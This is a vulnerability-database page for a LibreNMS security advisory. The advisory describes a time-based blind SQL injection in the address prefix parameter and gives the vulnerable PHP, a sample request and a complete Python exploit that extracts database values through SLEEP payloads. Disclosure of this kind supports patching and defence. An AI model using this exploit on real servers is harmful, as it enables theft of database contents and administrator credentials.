GHSA-79Q9-WC6P-CF92

Vulnerability from github – Published: 2026-02-18 22:31 – Updated: 2026-02-18 22:31
VLAI
Summary
LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
Details

Summary

A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.

Details

This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.

POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>

Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);

if (str_contains($address, '/')) {
    [$address, $prefix] = explode('/', $address, 2);
}

if ($search_type == 'ipv4') {
    $sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
    $sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';

    if (! empty($address)) {
        $sql .= ' AND ipv4_address LIKE ?';
        $param[] = "%$address%";
    }

    if (! empty($prefix)) {
        $sql .= " AND ipv4_prefixlen='$prefix'";
    }

......

    if (! empty($prefix)) {
        $sql .= " AND ipv6_prefixlen = '$prefix'";
    }

PoC

The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:

#!/usr/bin/python3

import requests
import sys
import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
    try:
        a = range(32,126)
        start = 0
        end = len(a)
        while start <= end:
            mid = (start + end) // 2
            target_equal = inj_str.replace("[CHAR]", str(a[mid]))
            target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")

            # Return ascii decimal value for storing to a local string buffer
            if condition(target_equal):
                return a[mid]
            # Use lower half of the "a" array
            elif condition(target_less):
                end = mid - 1
            # Use upper half of the "a" array
            else:
                start = mid + 1
        return None
    except IndexError:
        return None


# Check injection result
def condition(payload):
    exploit_data = {
    "current": "1",
    "rowCount": "50",
    "sort[hostname]": "asc",
    "searchPhrase": "",
    "id": "address-search",
    "search_type": "ipv4",
    "device_id": "1",
    "interface": "",
    "address": f"127.0.0.1/aa{payload}"
    }
    # Payload must be slotted in somewhere in this code
    payload_url = f"{url}/ajax_table.php"

    r = s.post(payload_url, data=exploit_data)

    elapsed_time_seconds = r.elapsed.total_seconds()

    # If response time is within sleep function delay range of +1 or -1 second the query returned "true"
    if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2):
        return True
    else:
        return False


def get_length(inj):
    length = 0
    print(f"(+) Getting the length of \"{inj}\"")
    while True:
        # MySQL
        #length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -"
        length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1"

        bool_value = condition(length_injection_string)

        if bool_value == False:
            length += 1
        else:
            return length


def injection(inject_qry):
    extracted = ""
    length = get_length(inject_qry)
    print(f"Length of \"{inject_qry}\": {length}")
    print(f"(+) Retrieving the value for \"{inject_qry}\"")

    # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted
    for i in range(1, length + 2):
        # MySQL
        injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1"

        retrieved_value = blind_binsearch_sqli(injection_string)

        if retrieved_value:
            extracted += chr(retrieved_value)
            extracted_char = chr(retrieved_value)
            print(extracted_char, flush=True, end="")
        elif retrieved_value == None:
            print("\n(+) done!\n")
            return extracted

global url
global s
global sleep_delay
global username
global password

# Default sleep delay, due to injection query used the response time will be sleep_delay * 2
sleep_delay = 1.5

s = requests.Session()

# HTTPS
s.verify = False

# Toggle debug proxy
#s.proxies.update(proxies)

url = "http://192.168.236.131"

username = "tester2"
password = "Adminbazinga"

if len(sys.argv) > 1:
    url = sys.argv[1]
if len(sys.argv) > 2:
    username = sys.argv[2]
if len(sys.argv) > 3:
    password = sys.argv[3]
if len(sys.argv) > 4:
    sleep_delay = float(sys.argv[4])

r = s.get(url + "/login")

login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1)

login_data = {
"_token": login_token,
"username": username,
"password": password,
"submit": ""
}

r = s.post(url + "/login", data=login_data)

# Example: python3 script.py http://127.0.0.1 username password 1.5
if __name__ == "__main__":
    injection("SELECT CURRENT_USER()")

Tester user role: image

Example usage of PoC script: image

Impact

  • Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques.
  • This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.
  • An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:31:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA time-based blind SQL injection vulnerability exists in `address-search.inc.php` via the `address` parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.\n\n\n### Details\nThis vulnerability requires authentication and is exploitable by any authenticated user.\n\nThe vulnerable endpoint is at `/ajax_table.php` with the following request displaying the injection point.\n```\nPOST /ajax_table.php HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/search\nCookie: laravel_session=[Authenticated user cookie]\n\ncurrent=1\u0026rowCount=55\u0026sort%5Bhostname%5D=asc\u0026searchPhrase=\u0026id=address-search\u0026search_type=ipv4\u0026device_id=1\u0026interface=\u0026address=127.0.0.1/aa\u003cinjected SQL here\u003e\n```\n\nWithin `includes/html/table/address-search.inc.php`, the user-controlled `$prefix` variable derived from the `address` parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.\n\n```php\n// Lines 16-35, 51-53\n$address = $vars[\u0027address\u0027] ?? \u0027\u0027;\n$prefix = \u0027\u0027;\n$sort = trim((string) $sort);\n\nif (str_contains($address, \u0027/\u0027)) {\n    [$address, $prefix] = explode(\u0027/\u0027, $address, 2);\n}\n\nif ($search_type == \u0027ipv4\u0027) {\n    $sql = \u0027 FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D\u0027;\n    $sql .= \u0027 WHERE I.port_id = A.port_id AND I.device_id = D.device_id \u0027 . $where . \u0027 \u0027;\n\n    if (! empty($address)) {\n        $sql .= \u0027 AND ipv4_address LIKE ?\u0027;\n        $param[] = \"%$address%\";\n    }\n\n    if (! empty($prefix)) {\n        $sql .= \" AND ipv4_prefixlen=\u0027$prefix\u0027\";\n    }\n\n......\n\n    if (! empty($prefix)) {\n        $sql .= \" AND ipv6_prefixlen = \u0027$prefix\u0027\";\n    }\n```\n\n\n### PoC\nThe following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of `SELECT CURRENT_USER()` from the database:\n```python\n#!/usr/bin/python3\n\nimport requests\nimport sys\nimport re\n\nfrom urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n\n# Configured to be used with burpsuite on the default burpsuite port of 8080\nproxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\n\n# When None is returned it means that all values have been retrieved from the queried value in the target DB\ndef blind_binsearch_sqli(inj_str):\n    try:\n        a = range(32,126)\n        start = 0\n        end = len(a)\n        while start \u003c= end:\n            mid = (start + end) // 2\n            target_equal = inj_str.replace(\"[CHAR]\", str(a[mid]))\n            target_less = inj_str.replace(\"=[CHAR]\", f\"\u003c{a[mid]}\")\n\n            # Return ascii decimal value for storing to a local string buffer\n            if condition(target_equal):\n                return a[mid]\n            # Use lower half of the \"a\" array\n            elif condition(target_less):\n                end = mid - 1\n            # Use upper half of the \"a\" array\n            else:\n                start = mid + 1\n        return None\n    except IndexError:\n        return None\n\n\n# Check injection result\ndef condition(payload):\n    exploit_data = {\n    \"current\": \"1\",\n    \"rowCount\": \"50\",\n    \"sort[hostname]\": \"asc\",\n    \"searchPhrase\": \"\",\n    \"id\": \"address-search\",\n    \"search_type\": \"ipv4\",\n    \"device_id\": \"1\",\n    \"interface\": \"\",\n    \"address\": f\"127.0.0.1/aa{payload}\"\n    }\n    # Payload must be slotted in somewhere in this code\n    payload_url = f\"{url}/ajax_table.php\"\n\n    r = s.post(payload_url, data=exploit_data)\n\n    elapsed_time_seconds = r.elapsed.total_seconds()\n\n    # If response time is within sleep function delay range of +1 or -1 second the query returned \"true\"\n    if (elapsed_time_seconds + 1) \u003e (sleep_delay * 2) and (elapsed_time_seconds - 1) \u003c (sleep_delay * 2):\n        return True\n    else:\n        return False\n\n\ndef get_length(inj):\n    length = 0\n    print(f\"(+) Getting the length of \\\"{inj}\\\"\")\n    while True:\n        # MySQL\n        #length_injection_string = f\" AND LENGTH(({inj}))={str(length)}-- -\"\n        length_injection_string = f\"\u0027 AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND \u00271\u0027=\u00271\"\n\n        bool_value = condition(length_injection_string)\n\n        if bool_value == False:\n            length += 1\n        else:\n            return length\n\n\ndef injection(inject_qry):\n    extracted = \"\"\n    length = get_length(inject_qry)\n    print(f\"Length of \\\"{inject_qry}\\\": {length}\")\n    print(f\"(+) Retrieving the value for \\\"{inject_qry}\\\"\")\n\n    # +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted\n    for i in range(1, length + 2):\n        # MySQL\n        injection_string = f\"\u0027 AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND \u00271\u0027=\u00271\"\n\n        retrieved_value = blind_binsearch_sqli(injection_string)\n\n        if retrieved_value:\n            extracted += chr(retrieved_value)\n            extracted_char = chr(retrieved_value)\n            print(extracted_char, flush=True, end=\"\")\n        elif retrieved_value == None:\n            print(\"\\n(+) done!\\n\")\n            return extracted\n\nglobal url\nglobal s\nglobal sleep_delay\nglobal username\nglobal password\n\n# Default sleep delay, due to injection query used the response time will be sleep_delay * 2\nsleep_delay = 1.5\n\ns = requests.Session()\n\n# HTTPS\ns.verify = False\n\n# Toggle debug proxy\n#s.proxies.update(proxies)\n\nurl = \"http://192.168.236.131\"\n\nusername = \"tester2\"\npassword = \"Adminbazinga\"\n\nif len(sys.argv) \u003e 1:\n    url = sys.argv[1]\nif len(sys.argv) \u003e 2:\n    username = sys.argv[2]\nif len(sys.argv) \u003e 3:\n    password = sys.argv[3]\nif len(sys.argv) \u003e 4:\n    sleep_delay = float(sys.argv[4])\n\nr = s.get(url + \"/login\")\n\nlogin_token = re.search(r\"name=\\\"_token\\\"\\s+value=\\\"([^\\\"]+)\\\"\", r.text).group(1)\n\nlogin_data = {\n\"_token\": login_token,\n\"username\": username,\n\"password\": password,\n\"submit\": \"\"\n}\n\nr = s.post(url + \"/login\", data=login_data)\n\n# Example: python3 script.py http://127.0.0.1 username password 1.5\nif __name__ == \"__main__\":\n    injection(\"SELECT CURRENT_USER()\")\n```\n\nTester user role:\n\u003cimg width=\"771\" height=\"154\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13\" /\u003e\n\n\nExample usage of PoC script:\n\u003cimg width=\"924\" height=\"104\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960\" /\u003e\n\n\n### Impact\n* Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time\u2011based blind SQL injection techniques.\n* This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.\n* An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.",
  "id": "GHSA-79q9-wc6p-cf92",
  "modified": "2026-02-18T22:31:37Z",
  "published": "2026-02-18T22:31:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-79q9-wc6p-cf92"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/18777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/15429580baba03ed1dd377bada1bde4b7a1175a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.